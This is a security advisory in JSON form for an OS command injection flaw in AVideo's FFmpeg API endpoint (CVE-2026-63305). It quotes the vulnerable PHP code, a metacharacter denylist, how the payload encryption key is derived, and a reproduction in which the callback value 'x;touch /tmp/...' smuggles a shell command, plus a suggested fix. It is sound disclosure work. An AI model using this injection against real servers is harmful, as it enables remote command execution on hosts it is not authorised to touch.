{"id":"GHSA-g9x9-q7qj-6mv5","summary":"AVideo API FFmpeg process permits OS command injection via notifyCode/callback","details":"### Summary\n\nThe standalone FFmpeg execution endpoint `plugin/API/standAlone/ffmpeg.json.php` builds a shell command string that is passed to `execAsync()` and run via `nohup sh -c \"\u003ccommand\u003e\"`. When the decrypted `codeToExec` payload produces a non-empty `avideoPath`, the endpoint appends a completion hook of the form:\n\n```\n && php \u003cscript\u003e notify=\u003cescaped-json\u003e notifyCode=\u003ccodeToExec-\u003enotifyCode\u003e callback=\u003ccodeToExec-\u003ecallback\u003e\n```\n\nThe `notify` value on this line is wrapped with `escapeshellarg()`, but the two adjacent fields `notifyCode` and `callback` are concatenated raw. Both fields originate from the same decrypted, attacker-controlled `codeToExec` object as `ffmpegCommand`, but neither passes through the `sanitizeFFmpegCommand()` denylist (only `ffmpegCommand` does) and neither is shell-escaped. An attacker who can craft a valid encrypted payload can therefore inject arbitrary shell commands into the `sh -c` context by placing shell metacharacters in `callback` or `notifyCode`, achieving OS command execution as the web-server user.\n\nThis is a residual sibling of the recently hardened `sanitizeFFmpegCommand()` denylist: the denylist now strips `; | ` \u003c \u003e & $ ( ) \\n \\r { }` from `ffmpegCommand`, but the two sibling fields on the same completion-hook line were never routed through it nor escaped, even though the `notify` value beside them on the very same line already is escaped.\n\n### Vulnerable code\n\n`plugin/API/standAlone/ffmpeg.json.php` (master HEAD, around lines 406-412):\n\n```php\nif (!empty($output['avideoPath'])) {\n    if (file_exists($output['avideoPath'])) {\n        unlink($output['avideoPath']);\n    }\n    $outputJson = escapeshellarg(json_encode($output));\n    $ffmpegCommand .= \" && php \" . escapeshellarg(__DIR__ . \"/ffmpeg.json.php\") . \" notify={$outputJson} notifyCode={$codeToExec-\u003enotifyCode} callback={$codeToExec-\u003ecallback}\";\n}\n```\n\n`$outputJson` is escaped; `$codeToExec-\u003enotifyCode` and `$codeToExec-\u003ecallback` are interpolated raw.\n\nThe only field that is sanitized earlier is `ffmpegCommand` (line ~129):\n\n```php\n$ffmpegCommand = !empty($codeToExec-\u003effmpegCommand) ? sanitizeFFmpegCommand($codeToExec-\u003effmpegCommand) : '';\n```\n\n`sanitizeFFmpegCommand()` (`plugin/API/standAlone/functions.php`, line ~105) strips shell metacharacters:\n\n```php\n$command = preg_replace('/[;|`\u003c\u003e&$()\\n\\r{}]/', '', $command);\n```\n\n`notifyCode` / `callback` never touch this function.\n\nThe composed string flows to `execAsync()` in `objects/functionsExec.php` (around line 705), which runs it via `sh -c`:\n\n```php\n$commandWithKeyword = \"nohup sh -c \\\"$command & echo \\\\$! \u003e /tmp/$keyword.pid\\\" \u003e /dev/null 2\u003e&1 &\";\nexec($commandWithKeyword, $output, $retval);\n```\n\n`addcslashes($command, '\"')` earlier in `execAsync()` escapes only double quotes, not `;`, `$(...)`, backticks, etc., so injected metacharacters in `notifyCode` / `callback` reach the shell intact.\n\n### Reachability\n\nThe completion-hook branch (`&& php ... notify=`) runs only when `$output['avideoPath']` is non-empty. `avideoPath` is set by the regex at line ~146:\n\n```php\npreg_match('/ [\\'\"]?(\\/[0-9a-z_\\/-]+\\/videos\\/([0-9a-z_\\/-]+)\\/([0-9a-z_-]+\\.(mp4|mp3)))[\\'\"]?/i', $ffmpegCommand, $matches);\n```\n\nThis is trivially satisfied by including a benign `/.../videos/\u003cdir\u003e/\u003cname\u003e.mp4` output path in `ffmpegCommand` (a normal FFmpeg command already contains one). The malicious `callback` / `notifyCode` need no metacharacter-free constraint because they bypass the denylist entirely.\n\n### Privilege required\n\nSame trust boundary as the parent command-injection fix in this file: an attacker who can craft a valid encrypted `codeToExec` payload with a valid `APISecret`. `_decryptString()` calls the platform `decryptString` API, which runs `encrypt_decrypt()` (AES-256-CBC; key = `hash('sha256', $global['saltV2'])`, iv = `substr(hash('sha256', $global['systemRootPath']), 0, 16)`). The decrypted payload is accepted when `payload-\u003etime` is within the last 30 seconds. The endpoint requires no interactive login.\n\n### Reproduction (end-to-end, against master HEAD)\n\nDeployed the master HEAD source (commit `8eaca9d5`, dated 2026-06-30) in a PHP 8.2 / Apache container backed by MySQL 8.0, ran the genuine platform installer (`install/checkConfiguration.php`) which created the database from `install/database.sql` and wrote `videos/configuration.php` with a freshly generated `salt` / `saltV2`, and enabled the API plugin. The `decryptString` and `isAPISecretValid` platform APIs were confirmed live over HTTP. `APISecret` is `md5($global['salt'] . $global['systemRootPath'] . 'API')` and matched the value stored by the plugin.\n\nA `codeToExec` object was encrypted exactly as the platform does (`encryptString()`), with:\n- `time` = now\n- `ffmpegCommand` = `ffmpeg -i /var/www/html/AVideo/videos/x/in.mp4 -c copy /var/www/html/AVideo/videos/x/out.mp4` (contains an `avideoPath` so the completion hook fires)\n- `callback` = `x;touch /tmp/avideo_cb_rce_1782909419_26863`\n\nPOST to the endpoint:\n\n```\ncurl -s -X POST \"http://\u003chost\u003e/plugin/API/standAlone/ffmpeg.json.php\" \\\n  --data-urlencode \"APISecret=\u003cAPISecret\u003e\" \\\n  --data-urlencode \"codeToExecEncrypted=\u003cencrypted codeToExec\u003e\"\n```\n\nVerbatim response (note the composed command: `notify='{...}'` is escaped, but `callback=x;touch /tmp/...` is raw):\n\n```\n{\"error\":false,\"msg\":\"Command executed\",\"command\":\"ffmpeg -i /var/www/html/AVideo/videos/x/in.mp4 -c copy /var/www/html/AVideo/videos/x/out.mp4 -metadata keyword='kwtest' \u003e /var/www/html/AVideo/videos/ffmpegLogs/ffmpeg_kwtest.log  && php '/var/www/html/AVideo/plugin/API/standAlone/ffmpeg.json.php' notify='{\\\"avideoPath\\\":\\\"/var/www/html/AVideo/videos/x/in.mp4\\\",\\\"avideoRelativePath\\\":\\\"videos/x/in.mp4\\\",\\\"avideoFilename\\\":\\\"x\\\",\\\"videoBasename\\\":\\\"in.mp4\\\",\\\"avideoExstension\\\":\\\"mp4\\\"}' notifyCode=nc1 callback=x;touch /tmp/avideo_cb_rce_1782909419_26863 2\u003e&1\",\"pid\":17212,\"logFile\":\"/var/www/html/AVideo/videos/ffmpegLogs/ffmpeg_kwtest.log\"}\n```\n\nThe injected `touch` ran (marker created by the web-server user):\n\n```\n-rw-r--r-- 1 www-data www-data 0 Jul  1 12:40 /tmp/avideo_cb_rce_1782909419_26863\n```\n\nThe same result holds with the payload in `notifyCode` instead of `callback`:\n\n```\n... notifyCode=x;touch /tmp/avideo_nc_rce_1782909675_26515 callback=cb1 2\u003e&1\n-rw-r--r-- 1 www-data www-data 0 Jul  1 12:41 /tmp/avideo_nc_rce_1782909675_26515\n```\n\nNegative control 1 (benign `callback=benigncallback`, no metacharacters): same code path, marker NOT created:\n\n```\n... notifyCode=benignnotify callback=benigncallback 2\u003e&1\nls: cannot access '/tmp/avideo_neg1_1782909646_19909': No such file or directory\n```\n\nNegative control 2 (the same `;touch` payload placed inside the guarded `ffmpegCommand` field instead): `sanitizeFFmpegCommand()` strips the `;`, so no injection occurs and the marker is NOT created. The composed command shows the semicolon removed (`out.mp4touch /tmp/...`), proving the gap is specific to the two unguarded sibling fields:\n\n```\ncommand: ...out.mp4touch /tmp/avideo_neg2_1782909660_14042 -metadata keyword='kwtest'...\nls: cannot access '/tmp/avideo_neg2_1782909660_14042': No such file or directory\n```\n\nPatched re-run (after applying the fix below): the payload is now single-quoted by `escapeshellarg()` and the marker is NOT created:\n\n```\n... notifyCode='nc1' callback='x;touch /tmp/avideo_cb_rce_PATCHED_1782909755_8511' 2\u003e&1\nls: cannot access '/tmp/avideo_cb_rce_PATCHED_1782909755_8511': No such file or directory\n```\n\n### Impact\n\nArbitrary OS command execution on the AVideo host as the web-server user (the same user that owns the application files and configuration, including the database credentials and `saltV2`). From there an attacker can read and modify site data, pivot to the database, and persist. This is the full-severity command-execution outcome, reached through a field that the current sanitizer does not cover.\n\n### Suggested fix\n\nEscape both sibling fields with `escapeshellarg()`, mirroring the existing `$outputJson = escapeshellarg(...)` on the same line:\n\n```php\n$ffmpegCommand .= \" && php \" . escapeshellarg(__DIR__ . \"/ffmpeg.json.php\")\n    . \" notify=\" . $outputJson\n    . \" notifyCode=\" . escapeshellarg((string)$codeToExec-\u003enotifyCode)\n    . \" callback=\" . escapeshellarg((string)$codeToExec-\u003ecallback);\n```\n\nEquivalently, route `notifyCode` and `callback` through the same allowlist/denylist used for `ffmpegCommand`. Escaping at the concatenation site is preferred because it is the shell-quoting boundary and cannot be bypassed by later transformations.\n\n### Credit\n\nReported by tonghuaroot.","aliases":["CVE-2026-63305"],"modified":"2026-11-24T21:15:05.811151328Z","published":"2026-11-24T20:53:28Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-11-24T20:53:28Z","nvd_published_at":"2026-11-03T18:18:04Z","cwe_ids":["CWE-78"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-g9x9-q7qj-6mv5"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-63305"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/commit/56cd4e90983bbd8f800f42be29718f7ee2ca3a5a"},{"type":"PACKAGE","url":"https://github.com/WWBN/AVideo"},{"type":"WEB","url":"https://github.com/WWBN/AVideo/releases/tag/v29.1.0"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/avideo-through-os-command-injection-via-ffmpeg-json-php"}],"affected":[{"package":{"name":"wwbn/avideo","ecosystem":"Packagist","purl":"pkg:composer/wwbn/avideo"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"29.1.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-g9x9-q7qj-6mv5/GHSA-g9x9-q7qj-6mv5.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"}]}